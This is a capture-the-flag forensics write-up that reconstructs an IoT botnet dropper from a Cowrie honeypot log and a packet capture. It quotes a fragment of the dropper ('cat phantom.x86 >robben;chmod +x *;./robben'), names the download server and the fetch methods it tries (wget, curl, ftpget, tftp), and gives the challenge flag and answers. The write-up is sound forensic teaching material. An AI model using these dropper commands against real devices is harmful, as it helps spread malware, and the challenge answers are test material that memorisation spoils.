Phantom Cowrie log under-reports, the pcap tells the truth

forensics
flag RxR{admin_198.51.100.7_robben_10}

Two artifacts: a Cowrie JSON event log from SSH sensor edge-gw-03, and a packet capture of the same session. Everything the brief asks for is in there - the trick is that one source quietly under-reports, so it's worth reading both instead of trusting the log.

1/4What password did the attacker use?

Cowrie's structured auth event has it directly: {"eventid":"cowrie.login.success", "username":"root","password":"admin",...} -> admin.

2/4What's the IP of the download server?

One host shows up in the attacker's fetch commands, in Cowrie's session.file_download events, and in the actual HTTP requests on the wire (GET /phantom.sh HTTP/1.1, Host: 198.51.100.7) -> 198.51.100.7.

3/4What name does the payload run under?

phantom.sh doesn't run the binary it downloads directly - it copies the arch-specific file to a fixed name first. Cowrie logs "destfile":"/robben", and the dropper's own fetch lines end with cat phantom.x86 >robben;chmod +x *;./robben Payload -> robben.

4/4How many different builds does the dropper try?

This is where the Cowrie log steers you wrong. It only knows what the honeypot actually pulled during the session - three arch builds - and 3 is not the answer.

Pitfall

The full list only lives in the dropper itself, which never shows up as a clean artifact in the log - it has to be reassembled from the port-80 stream in the pcap. For each CPU type the script tries four delivery methods (wget/curl, ftpget, tftp -c get, tftp -r -g) against ten architectures: x86, mips, mpsl, arm4, arm5, arm6, arm7, ppc, m68k, sh4 -> 10.

Flag

output
RxR{admin_198.51.100.7_robben_10}

Notes

  • tshark refuses to open this pcap, even on a world-readable copy ("You don't have permission to read the file"); tcpdump -A works fine, and getting the dropper out came down to a small Scapy reassembly over the port-80 streams.
  • The download connection carries several HTTP responses back to back, and only one of them is the dropper. The application/x-sh response (6799 bytes) is the script; the larger bodies are the bins/phantom.* binaries, replaced with [REDACTED MALWARE BODY] padding at the original length. The script has to be picked out by its shebang and download loop, not by grabbing the biggest body in the stream (which is what I did first, stitching redacted binaries in with it).
  • The recovered script's SHA-256 doesn't match the hash Cowrie logged for /phantom.sh - the bytes were regenerated at the original size for the challenge, so length and headers agree while the digest doesn't.
  • Cowrie's odd-looking destfile of /robben is the giveaway for question 3.